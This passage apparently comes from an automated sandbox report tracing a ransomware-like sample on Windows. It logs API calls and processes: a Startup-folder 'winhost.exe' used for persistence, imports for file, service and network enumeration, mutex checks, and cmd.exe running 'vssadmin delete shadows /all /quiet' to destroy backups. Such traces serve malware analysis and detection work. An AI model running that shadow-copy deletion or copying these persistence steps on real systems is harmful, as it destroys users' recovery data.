lpAttributeList=0xf4183cf290, lpPreviousValue=0x0) returned 1 [0240.039] GetStartupInfoW (in: lpStartupInfo=0xf4183cf220 | out: lpStartupInfo=0xf4183cf220*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0240.039] GetProcessHeap () returned 0x25290790000 [0240.039] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x20) returned 0x25290797630 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0240.039] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0240.040] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0240.040] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0240.040] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0240.040] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0240.040] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0240.040] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0240.040] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0240.040] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0240.040] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0240.040] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0240.040] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0240.040] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0240.040] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0240.040] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0240.040] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0240.040] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0240.040] GetProcessHeap () returned 0x25290790000 [0240.040] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x25290797630) returned 1 [0240.040] GetProcessHeap () returned 0x25290790000 [0240.040] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0x12) returned 0x252907979f0 [0240.040] _get_osfhandle (_FileHandle=1) returned 0x254 [0240.040] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0240.040] _get_osfhandle (_FileHandle=0) returned 0x248 [0240.040] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0240.040] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xf4183cf1b0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xf4183cf188 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0xf4183cf188*(hProcess=0x98, hThread=0x9c, dwProcessId=0xe64, dwThreadId=0xe68)) returned 1 [0240.306] CloseHandle (hObject=0x9c) returned 1 [0240.307] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0240.307] GetProcessHeap () returned 0x25290790000 [0240.307] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x252907a9f90) returned 1 [0240.307] GetEnvironmentStringsW () returned 0x252907a9460* [0240.307] GetProcessHeap () returned 0x25290790000 [0240.307] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0xb24) returned 0x252907a9f90 [0240.307] FreeEnvironmentStringsA (penv="=") returned 1 [0240.307] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0xf4183ce688, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xf4183ce688, ReturnLength=0x0) returned 0x0 [0240.307] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x837684a000, lpBuffer=0xf4183ce6c0, nSize=0x7a0, lpNumberOfBytesRead=0xf4183ce680 | out: lpBuffer=0xf4183ce6c0*, lpNumberOfBytesRead=0xf4183ce680*=0x7a0) returned 1 [0240.307] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0245.551] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0xf4183cf108 | out: lpExitCode=0xf4183cf108*=0x2) returned 1 [0245.551] CloseHandle (hObject=0x98) returned 1 [0245.551] _vsnwprintf (in: _Buffer=0xf4183cf2d8, _BufferCount=0x13, _Format="%08X", _ArgList=0xf4183cf118 | out: _Buffer="00000002") returned 8 [0245.551] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0245.551] GetProcessHeap () returned 0x25290790000 [0245.551] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x252907a9f90) returned 1 [0245.551] GetEnvironmentStringsW () returned 0x252907a9460* [0245.552] GetProcessHeap () returned 0x25290790000 [0245.552] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0xb24) returned 0x252907a9f90 [0245.552] FreeEnvironmentStringsA (penv="=") returned 1 [0245.552] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0245.552] GetProcessHeap () returned 0x25290790000 [0245.552] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x252907a9f90) returned 1 [0245.552] GetEnvironmentStringsW () returned 0x252907a9460* [0245.552] GetProcessHeap () returned 0x25290790000 [0245.552] RtlAllocateHeap (HeapHandle=0x25290790000, Flags=0x8, Size=0xb24) returned 0x252907a9f90 [0245.552] FreeEnvironmentStringsA (penv="=") returned 1 [0245.552] GetProcessHeap () returned 0x25290790000 [0245.552] RtlFreeHeap (HeapHandle=0x25290790000, Flags=0x0, BaseAddress=0x252907979f0) returned 1 [0245.552] DeleteProcThreadAttributeList (in: lpAttributeList=0xf4183cf290 | out: lpAttributeList=0xf4183cf290) [0245.552] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0245.823] ??_V@YAXPEAX@Z () returned 0x1 [0245.823] _get_osfhandle (_FileHandle=1) returned 0x254 [0245.823] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0245.823] _get_osfhandle (_FileHandle=1) returned 0x254 [0245.823] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff6a546fc08 | out: lpMode=0x7ff6a546fc08) returned 0 [0245.823] _get_osfhandle (_FileHandle=0) returned 0x248 [0245.823] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff6a546fc0c | out: lpMode=0x7ff6a546fc0c) returned 0 [0245.823] GetConsoleOutputCP () returned 0x4e3 [0246.189] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff6a546fbb0 | out: lpCPInfo=0x7ff6a546fbb0) returned 1 [0246.189] SetThreadUILanguage (LangId=0x0) Thread: id = 338 os_tid = 0xd88 Process: id = "23" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x7159b000" os_pid = "0xd2c" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0xd0c" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001095e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 317 os_tid = 0xd30 Thread: id = 328 os_tid = 0xd5c Thread: id = 329 os_tid = 0xd60 Thread: id = 330 os_tid = 0xd68 Thread: id = 332 os_tid = 0xd70 Process: id = "24" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x493cd000" os_pid = "0x584" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "21" os_parent_pid = "0x240" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000f8c2" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 339 os_tid = 0x9f4 Thread: id = 340 os_tid = 0x9f0 Thread: id = 341 os_tid = 0x9e4 Thread: id = 342 os_tid = 0x9e0 Thread: id = 343 os_tid = 0x9dc Thread: id = 344 os_tid = 0x900 Thread: id = 345 os_tid = 0x8dc Thread: id = 346 os_tid = 0x8d8 Thread: id = 347 os_tid = 0x664 Thread: id = 348 os_tid = 0x660 Thread: id = 349 os_tid = 0x630 Thread: id = 350 os_tid = 0x62c Thread: id = 351 os_tid = 0x628 Thread: id = 352 os_tid = 0x58c Thread: id = 353 os_tid = 0x588 Process: id = "25" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x1dc8d000" os_pid = "0xd9c" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0xd0c" cmd_line = "mode con cp select=1251" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001095e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 354 os_tid = 0xda0 Thread: id = 355 os_tid = 0xdac Process: id = "26" image_name = "winhost.exe" filename = "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe" page_root = "0x1e2fd000" os_pid = "0xdb4" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x938" cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001095e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 356 os_tid = 0xdb8 [0232.047] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x73f50000 [0232.047] GetProcAddress (hModule=0x73f50000, lpProcName="GetProcAddress") returned 0x73f651b0 [0232.047] GetProcAddress (hModule=0x73f50000, lpProcName="GetModuleHandleW") returned 0x73f650d0 [0232.047] GetProcAddress (hModule=0x73f50000, lpProcName="FindNextFileW") returned 0x73fbee40 [0232.047] GetProcAddress (hModule=0x73f50000, lpProcName="FindClose") returned 0x73fbed70 [0232.047] GetProcAddress (hModule=0x73f50000, lpProcName="MoveFileW") returned 0x73f9e500 [0232.047] GetProcAddress (hModule=0x73f50000, lpProcName="GetFileSizeEx") returned 0x73fbef40 [0232.047] GetProcAddress (hModule=0x73f50000, lpProcName="GetModuleFileNameW") returned 0x73f65090 [0232.047] GetProcAddress (hModule=0x73f50000, lpProcName="GetFileAttributesW") returned 0x73fbef10 [0232.047] GetProcAddress (hModule=0x73f50000, lpProcName="ExitProcess") returned 0x73f63cb0 [0232.047] GetProcAddress (hModule=0x73f50000, lpProcName="GetCommandLineW") returned 0x73f64cc0 [0232.047] GetProcAddress (hModule=0x73f50000, lpProcName="GetComputerNameW") returned 0x73f932c0 [0232.047] GetProcAddress (hModule=0x73f50000, lpProcName="GetComputerNameA") returned 0x73f93780 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="CreateMutexW") returned 0x73fbeb70 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="lstrlenW") returned 0x73f66c70 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="lstrlenA") returned 0x73f66c50 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="GetCurrentProcess") returned 0x73fbea10 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="WaitForSingleObject") returned 0x73fbeca0 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="GetLogicalDrives") returned 0x73f60d20 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="GetTickCount") returned 0x73fbdd50 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="DeleteFileW") returned 0x73fbed40 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="WideCharToMultiByte") returned 0x73f66b10 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x73fbebb0 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="Sleep") returned 0x73f66760 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="LeaveCriticalSection") returned 0x7704b250 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="ReadFile") returned 0x73fbf090 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="CreateFileW") returned 0x73fbed10 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="OpenMutexW") returned 0x73fbebf0 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="EnterCriticalSection") returned 0x7704b2d0 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="WaitForMultipleObjects") returned 0x73fbec80 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="lstrcmpiW") returned 0x73f66bf0 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="lstrcmpiA") returned 0x73f66bd0 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="DeleteCriticalSection") returned 0x7702fb90 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="ReleaseMutex") returned 0x73fbec20 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="CloseHandle") returned 0x73fbeab0 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="GetVersion") returned 0x73f656c0 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="CreateThread") returned 0x73f646b0 [0232.048] GetProcAddress (hModule=0x73f50000, lpProcName="ExpandEnvironmentStringsW") returned 0x73f64a40 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="QueryPerformanceCounter") returned 0x73f65da0 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="QueryPerformanceFrequency") returned 0x73f65dc0 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="GetCurrentProcessId") returned 0x73fbea20 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="SetFileAttributesW") returned 0x73fbf100 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="GetVolumeInformationW") returned 0x73fbf020 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="WriteFile") returned 0x73fbf180 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="SetFilePointerEx") returned 0x73fbf130 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="SetEndOfFile") returned 0x73fbf0e0 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="FindFirstFileW") returned 0x73fbedf0 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="GetProcessHeap") returned 0x73f651f0 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="HeapReAlloc") returned 0x7703f630 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="HeapAlloc") returned 0x77042dc0 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="HeapFree") returned 0x73f657f0 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="CreatePipe") returned 0x73f64590 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="SetHandleInformation") returned 0x73fbeae0 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="CreateProcessW") returned 0x73f64610 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="CompareStringW") returned 0x73f64430 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="CompareStringA") returned 0x73f64410 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="OpenProcess") returned 0x73f65cc0 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="TerminateProcess") returned 0x73f667e0 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="GetSystemTime") returned 0x73f654e0 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="SystemTimeToFileTime") returned 0x73f667a0 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="GetLastError") returned 0x73f65010 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="CreateToolhelp32Snapshot") returned 0x73f9edc0 [0232.049] GetProcAddress (hModule=0x73f50000, lpProcName="Process32NextW") returned 0x73f9f8f0 [0232.050] GetProcAddress (hModule=0x73f50000, lpProcName="Process32FirstW") returned 0x73f9f750 [0232.050] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74a40000 [0232.246] GetProcAddress (hModule=0x74a40000, lpProcName="RegOpenKeyExW") returned 0x74a5e580 [0232.247] GetProcAddress (hModule=0x74a40000, lpProcName="RegQueryValueExW") returned 0x74a5e5a0 [0232.247] GetProcAddress (hModule=0x74a40000, lpProcName="RegSetValueExW") returned 0x74a5f530 [0232.247] GetProcAddress (hModule=0x74a40000, lpProcName="RegCloseKey") returned 0x74a5ed60 [0232.247] GetProcAddress (hModule=0x74a40000, lpProcName="OpenProcessToken") returned 0x74a5efb0 [0232.247] GetProcAddress (hModule=0x74a40000, lpProcName="GetTokenInformation") returned 0x74a5ee90 [0232.247] GetProcAddress (hModule=0x74a40000, lpProcName="OpenSCManagerW") returned 0x74a60540 [0232.247] GetProcAddress (hModule=0x74a40000, lpProcName="OpenServiceW") returned 0x74a5fa20 [0232.247] GetProcAddress (hModule=0x74a40000, lpProcName="CloseServiceHandle") returned 0x74a5fc00 [0232.247] GetProcAddress (hModule=0x74a40000, lpProcName="ControlService") returned 0x74a726d0 [0232.247] GetProcAddress (hModule=0x74a40000, lpProcName="QueryServiceStatus") returned 0x74a62380 [0232.247] GetProcAddress (hModule=0x74a40000, lpProcName="EnumDependentServicesW") returned 0x74a72f70 [0232.247] GetProcAddress (hModule=0x74a40000, lpProcName="EnumServicesStatusExW") returned 0x74a5fc80 [0232.247] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74020000 [0232.583] GetProcAddress (hModule=0x74020000, lpProcName="SystemParametersInfoW") returned 0x7404f210 [0232.583] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x758a0000 [0232.936] GetProcAddress (hModule=0x758a0000, lpProcName="ShellExecuteExW") returned 0x75a04730 [0232.936] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77000000 [0232.936] GetProcAddress (hModule=0x77000000, lpProcName="NtQuerySystemInformation") returned 0x77072070 [0232.936] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73a00000 [0232.939] GetProcAddress (hModule=0x73a00000, lpProcName="WNetCloseEnum") returned 0x73a02640 [0232.939] GetProcAddress (hModule=0x73a00000, lpProcName="WNetOpenEnumW") returned 0x73a02790 [0232.939] GetProcAddress (hModule=0x73a00000, lpProcName="WNetEnumResourceW") returned 0x73a02410 [0232.939] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75470000 [0232.941] GetProcAddress (hModule=0x75470000, lpProcName="WSAStartup") returned 0x75475b40 [0232.941] GetProcAddress (hModule=0x75470000, lpProcName="socket") returned 0x75484510 [0232.941] GetProcAddress (hModule=0x75470000, lpProcName="send") returned 0x75475030 [0232.941] GetProcAddress (hModule=0x75470000, lpProcName="recv") returned 0x75480c50 [0232.941] GetProcAddress (hModule=0x75470000, lpProcName="connect") returned 0x75475410 [0232.941] GetProcAddress (hModule=0x75470000, lpProcName="closesocket") returned 0x75480910 [0232.941] GetProcAddress (hModule=0x75470000, lpProcName="gethostbyname") returned 0x754a6cb0 [0232.941] GetProcAddress (hModule=0x75470000, lpProcName="inet_addr") returned 0x75489160 [0232.941] GetProcAddress (hModule=0x75470000, lpProcName="ntohl") returned 0x754749d0 [0232.941] GetProcAddress (hModule=0x75470000, lpProcName="htonl") returned 0x754749d0 [0232.942] GetProcAddress (hModule=0x75470000, lpProcName="htons") returned 0x75488ff0 [0232.942] GetProcessHeap () returned 0x6e0000 [0232.942] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x20) returned 0x6eaf58 [0232.942] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=5030999012) returned 1 [0232.942] GetTickCount () returned 0x1136cd9 [0232.942] GetCurrentProcessId () returned 0xdb4 [0232.943] GetTickCount () returned 0x1136cd9 [0232.943] GetTickCount () returned 0x1136cd9 [0232.943] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x20) returned 0x6eaf80 [0232.943] GetVersion () returned 0x23f00206 [0232.943] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x7) returned 0x6f6ff0 [0232.943] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x6f8070 [0232.943] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8070, Size=0x20) returned 0x6eafa8 [0232.943] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6eafa8, Size=0x40) returned 0x6f7940 [0232.943] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x6fd6b0 [0232.944] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_2K63V7A") returned 0x1ec [0232.944] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f6ff0 | out: hHeap=0x6e0000) returned 1 [0232.944] lstrlenW (lpString="Global\\syncronize_") returned 18 [0232.944] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f7940 | out: hHeap=0x6e0000) returned 1 [0232.944] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x7) returned 0x6f6ff0 [0232.944] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x6f8070 [0232.944] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8070, Size=0x20) returned 0x6eafa8 [0232.944] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6eafa8, Size=0x40) returned 0x6f7478 [0232.944] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x70d6b8 [0232.944] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_2K63V7U") returned 0x1f0 [0232.944] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f6ff0 | out: hHeap=0x6e0000) returned 1 [0232.944] lstrlenW (lpString="Global\\syncronize_") returned 18 [0232.944] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f7478 | out: hHeap=0x6e0000) returned 1 [0232.944] GetVersion () returned 0x23f00206 [0232.944] GetCurrentProcess () returned 0xffffffff [0232.944] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0232.944] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0232.944] CloseHandle (hObject=0x1f4) returned 1 [0232.944] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0232.944] ExitProcess (uExitCode=0x0) Thread: id = 357 os_tid = 0xdbc Process: id = "27" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x3b5c6000" os_pid = "0xe64" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0xd0c" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon 